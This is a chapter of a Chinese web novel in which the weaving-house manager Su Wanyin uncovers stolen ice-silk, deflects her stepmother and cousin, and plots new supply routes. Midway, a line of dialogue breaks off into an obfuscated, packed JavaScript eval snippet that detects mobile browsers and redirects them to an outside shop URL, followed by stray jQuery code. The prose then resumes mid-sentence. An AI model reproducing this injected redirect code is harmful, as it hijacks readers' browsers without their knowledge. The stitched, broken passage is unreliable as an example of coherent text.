腊月二十,苏府。
雪停三日,街巷泥泞不堪。融雪混着苏州城经年的积尘,在青石板路上淌成一道道污浊的细流。运河薄冰半化,船只稀疏,偶有货船驶过,桨橹破冰声沉闷而迟缓,像垂暮老人的叹息。
内库掌案室,炭盆里的银霜炭已烧至灰白。
苏晚音坐在案后,手中账册摊开到最后一页。指尖顺着墨迹缓缓划过,停在“冰蚕丝”三个字上,久久未动。
账面记录清晰:昭华四十五年冬月初五,入库冰蚕丝八十斤,供雪融春锦之用,耗六十二斤。余十八斤,封存三号库乙字柜。
可三日前开柜查验,柜中仅存十二斤。
那六斤,不翼而飞。
门外有人走过。
脚步停了一瞬,又远去。
她合上册子,闭目。
不是疏忽,不是错漏——冰蚕丝贵重如金,出入皆有双人经手、签字画押。能无声无息取走六斤,必是内鬼,且是掌着钥匙的内鬼。
钥匙共三把。她一把,库头赵福一把,还有一把……
在嫡母李氏手中。
“姑娘,周家来信。”
小蝉的声音在门外响起,带着刻意压低的急促。
苏晚音睁眼:“进。”
小蝉推门而入,手里捧着一封火漆已拆的急信——那是钱老从扬州传回的密信,走的是盛家船队里安插的暗线,比官驿快了整整两日。
信上只有两行字,墨迹潦草,显是仓促写就:
“冰蚕丝路已绝,谢氏封渠,明年无供。”
“周家亦受挟,慎之。”
苏晚音盯着那两行字,看了很久。
久到炭盆里最后一点火星熄灭,青灰簌簌落下。
然后,她将信纸凑到残烛上。
火苗腾起,迅速吞噬纸页,焦糊味在室内弥散。火光映在她脸上,明暗交错,将那双清冷的眼衬得愈发深不见底。
“谢家动手了。”她轻声说,像在陈述一个早已预知的结局。
话音刚落,门外廊下便传来翠珠那特有的、略显尖细的嗓音:
“掌案,夫人请您去正院一趟。”
来了。
苏晚音抬眼,眸中无波无澜。
李氏。
终于忍不住了。
正院暖阁,地龙烧得极旺。
李氏端坐上首罗汉榻,一身绛紫缠枝莲纹袄裙,头戴赤金点翠抹额,腕上那对羊脂玉镯温润生光。她手里捧着一盏燕窝羹,小口啜着,眉眼低垂,姿态雍容。
可苏晚音一进门,便看见她食指在盏沿无意识地轻叩——那是李氏心烦意乱时,惯有的小动作。
更让她目光微凝的是,暖阁里不止李氏一人。
盛明玉竟也在。
这位嫡堂姐穿着一身杏子红缕金百蝶穿花袄,外罩雪狐裘披风,发间一支赤金嵌宝步摇,衬得她肤白如雪,眉眼含春。她斜倚在李氏身侧的绣墩上,手中把玩着一只小巧的鎏金手炉,见苏晚音进来,抬眼一笑,亲切得毫无破绽。
“妹妹来了。”盛明玉声音温软,“这大冷天的,快坐。”
苏晚音福了一礼,在下首的椅子上坐下,只坐了半边。
“晚音给母亲请安。”她垂眼,姿态恭顺。
李氏放下燕窝盏,用帕子拭了拭嘴角,这才抬眼看向她。
“听说冰蚕丝断了?”声音不疾不徐,听不出喜怒。
苏晚音答:“是。周家来信,说明年供不了。”
“供不了?”李氏轻笑一声,“那明年六十匹冰纹贡缎,拿什么织?拿你这身骨头去织吗?”
这话已是极重的羞辱。
暖阁里侍立的丫鬟们纷纷低头,连呼吸都放轻了。
盛明玉适时地叹了口气,放下手炉,柔声道:“母亲别动气,妹妹年纪小,难免有疏失。”她转向苏晚音,眼中满是“关切”,“姐姐在扬州听闻此事,好生担心。你说这冰蚕丝,江南除了谢家,就只有周家有路子。如今周家也说供不了,这、这可如何是好?”
苏晚音抬眼看她:“姐姐消息灵通。”
盛明玉笑容微僵,随即又自然起来:“我也是听人闲话罢了。只是妹妹,不是姐姐说你——当初既知谢家不可靠,就该早做打算。如今丝路一断,苏府若误了贡期,抄家可不分嫡庶啊。”
这话说得情真意切,眼中甚至浮起一层水光。
可苏晚音看得分明——那水光底下,藏着快意。
李氏适时接话,声音冷了下去:“担心?苏家若真倒了,你以为盛家能独善其身?一荣俱荣,一损俱损的道理,还要我教你?”
这话明着训斥盛明玉,实则字字敲打苏晚音。
苏晚音垂眼:“母亲教训的是。”
“光知道教训有什么用?”李氏将帕子重重拍在榻几上,“如今府里是什么情形,你比我清楚!库中存丝不足三成,冰蚕丝又断了源,端午前六十匹贡缎,你拿什么交?拿你这‘掌案’的头衔去交吗?!”
越说越急,声音也拔高了几分。
盛明玉忙起身,走到李氏身侧,轻抚她后背:“母亲息怒,妹妹定有法子的。”她转头看向苏晚音,温声道,“妹妹,扬州盛家有私船三艘,常年走川蜀水路。若妹妹需周转,姐姐可求公婆,借船一用。”
借船。
又是借船。
苏晚音目光淡淡扫过盛明玉。
钱老此刻正在扬州,与盛明玉“商谈”借船运蜀丝之事。而盛明玉此刻在苏州,当着李氏的面,亲口提出“借船”——“借船”二字落下,她没有立刻接话。
屋里安静得,连炭火都不再响。
更要紧的是,若她此时应下,便是当着李氏的面,认了与盛家私下联络。
一旦李氏追问“何时联络”“如何联络”,钱老的行踪便会暴露。
到那时,蜀丝之路,恐怕真要绝了。
“多谢姐姐好意。”苏晚音缓缓开口,声音平静无波,“但苏府的事,自有主张。”
李氏脸色骤然一沉。
盛明玉眼中也掠过一丝诧异——她没想到苏晚音会拒绝得如此干脆。盛明玉没有再说话。
她退回李氏身侧,袖中指尖攥紧,又很快松开。
片刻后,她转身离席。
盛明玉离开后,屋里安静了很久。
案上的茶已经凉了,杯口浮着一层薄雾。
苏晚音伸手,将那杯茶推到一旁,又把桌角被压歪的纸页理正。
动作很熟练。
像是处理了一件早就写在账册里的事。
“自有主张?”李氏冷笑,“你有什么主张?是能凭空变出冰蚕丝,还是能让谢家开仓放丝?”
苏晚音站起身,福了一礼:“母亲若无事,晚音先告退了。库中还有些账目需核对。”
说完,不等李氏回应,她转身便走。
脚步不疾不徐,背脊挺直如松。
直到走出暖阁,走出正院,走出那片被地龙烘得令人窒息的暖意,重新踏入腊月的寒风中,她才轻轻吐出一口气。
白雾在眼前散开,很快被风吹散。
像某些看似坚固的联盟,某些看似亲密的情分。
回掌案室的路上,经过西侧回廊。
廊下腊梅初绽,寒香凛冽。苏晚音正欲折一枝带回插瓶,却见梅树后转出一人。
月白锦袍,墨狐斗篷,眉目温润,笑意清浅。
齐衡。
内务府总管太监王和年的远房侄子,应天织造局少办,官阶不高,却因着那层关系,在江南织造圈里颇有分量。三个月前雪融春锦入宫时,他曾代表织造局来苏府“观礼”,与苏晚音有过一面之缘。
此刻他独自一人站在梅树下,手中拈着一枝腊梅,见苏晚音过来,含笑拱手:
“苏掌案,巧。”
苏晚音福了一礼:“齐少办怎在此?”
“来府上拜会苏大人,谈些公事。”齐衡将腊梅递过来,“刚折的,赠掌案。”
苏晚音接过,梅香沁人。
“听闻冰蚕丝有变?”齐衡声音压低了些,目光温和,却带着洞悉。
苏晚音心下一凛。
消息传得这么快?
“齐少办消息灵通。”
“织造局盯着各府动向,职责所在。”齐衡笑了笑,话锋一转,“应天那边,年前有一批急单,原是定了谢家。但谢家最近……要价太高。”
他顿了顿,看着苏晚音:
“若苏掌案能接,我可做主,将单子转给苏家。”
苏晚音抬眸:“条件?”
“一匹秘色。”齐衡答得干脆,“不必贡缎规格,寻常锦缎即可,但要真正的秘色——烛火下泛青紫,月光下近玄黑的那种。”
苏晚音沉默。
齐衡的“援手”,来得太巧,也太突兀。
应天急单,利润丰厚,且能解苏家眼下银钱周转之困。一匹秘色锦虽珍贵,但比起整单生意,不算过分。
可天下没有白得的利。
“齐少办为何要帮晚音?”她直截了当。
齐衡笑意深了些:“苏掌案是聪明人。应天织造局与内务府,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032911|194563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并非铁板一块。王公公……有些事做得过了,局里不少人有微词。”
他这话已近乎直白。
是在告诉她:王和年与顾廷琛勾连,打压苏家,并非织造局所有人的意愿。他齐衡,代表的是另一股势力。
“况且,”齐衡补充道,“苏掌案那手‘藏金’,局里几位老师傅看了雪融春锦的残样,赞不绝口。江南织造,若真让谢家一家独大,绝非幸事。”
他说得诚恳。
可苏晚音心中那根弦,依旧紧绷。
“此事,晚音需禀过父亲。”她谨慎道。
“自然。”齐衡颔首,“三日内给我答复便可。”他顿了顿,压低声音,“苏掌案,蜀路艰险,陆路更险。若要走,需趁早。”
说完,他拱手一礼,转身离去。
月白身影很快消失在回廊尽头。
苏晚音站在原地,手中腊梅幽香阵阵。
齐衡的话,像一颗石子投入深潭,激起层层涟漪。
若他所言属实,那内务府并非铁板一块,王和年也非一手遮天。
若他另有所图……
她握着梅枝的手指,微微收紧。
掌案室内,灯火初上。
苏晚音摊开舆图,指尖在“苏州—扬州—蜀地”之间缓缓移动。
陆路,山高水险,盗匪横行,且顾廷琛的人已盯上。
水路,借盛家船,需过盛明玉那关,且船行运河,必经谢家势力范围。
哪条路,都是险路。
正凝神间,小蝉又送进一封信。
这次的信,火漆上是木棉花纹——冯小怜的暗记。
信很厚。
苏晚音拆开,快速浏览。
前半部分,是冯小怜详细的禀报:苏晚棠在扬州的确身子不适,是怀了身孕,但胎象不稳,婆家拘着她在府中静养,连房门都少出。盛明玉夫妇近来与谢家走动频繁,谢家松江绸庄的顾廷琛,上月曾秘密赴扬州,与盛明玉的丈夫盛怀瑾密谈半日。
后半部分,字迹变了。
清秀工整,是苏晚棠的亲笔。
“音妹如晤:
姐在扬州,身不由己,知你艰难。盛氏夫妇两面三刀,已与谢家暗通款曲,欲借苏家危机,谋谢家船引之利。姐无能,唯有一言相告——蜀丝可求,但不可经盛家手。松江陈九,可信。姐昔年于他有恩,你持姐玉簪往见,他必助你。
另,姐在盛家书房暗格中,见一密信残页,上有‘王公公’‘冰蚕丝价翻三倍’‘端午前必断苏家’等字。兹事体大,姐抄录附后,你千万小心。
姐一切安好,勿念。唯望你保重,撑住苏家。”
信末附了一张小笺,上是苏晚棠娟秀的字迹,抄录着那封密信的残句。
苏晚音盯着那句“端午前必断苏家”,指尖冰凉。
她盯着“端午前”三个字,指尖一寸寸冷下去。
是要苏家死。
死在端午贡期之前。
死在冰纹贡缎交不出的罪名之下。
然后,谢家顺势吞并苏家技艺,顾廷琛借机掌控江南丝路,王和年在朝中坐收渔利——好一盘大棋。
她将信纸折回原样,放在案上。
炭火“啪”地炸开一声。
她烧了信。
火光跳跃,将她的影子投在墙上,晃动如鬼魅。
然后,她提笔,写了两封信。
一封给钱老,只有八个字:
“改道松江,见陈九。”
另一封给齐衡,亦简短:
“秘色一匹,换急单。”
写完后,她唤来小蝉:
“这两封信,走不同的路子送。给钱老的,用咱们的暗线;给齐少办的,走官驿,但要‘不小心’让正院的人看见。”
小蝉愣了愣,随即明白过来,重重点头:“奴婢明白。”
苏晚音走到窗边,推开窗。
夜风灌入,吹得案上灯火摇曳欲灭。
她伸手护住灯焰。
火光在她掌心跳动,温暖而脆弱,却顽强地亮着。
像苏家。
像她。
冰蚕丝断了。
蜀路被阻。
内外交困。
可那又如何?
丝可断,路可阻。
人心若未散,便有破局之机。
她握紧了那枚乌木梭。
梭尾“慎之”二字,冰凉依旧。
可这一次,她心中涌起的不是寒意。
是一股近乎灼烫的斗志。
(第三章·完)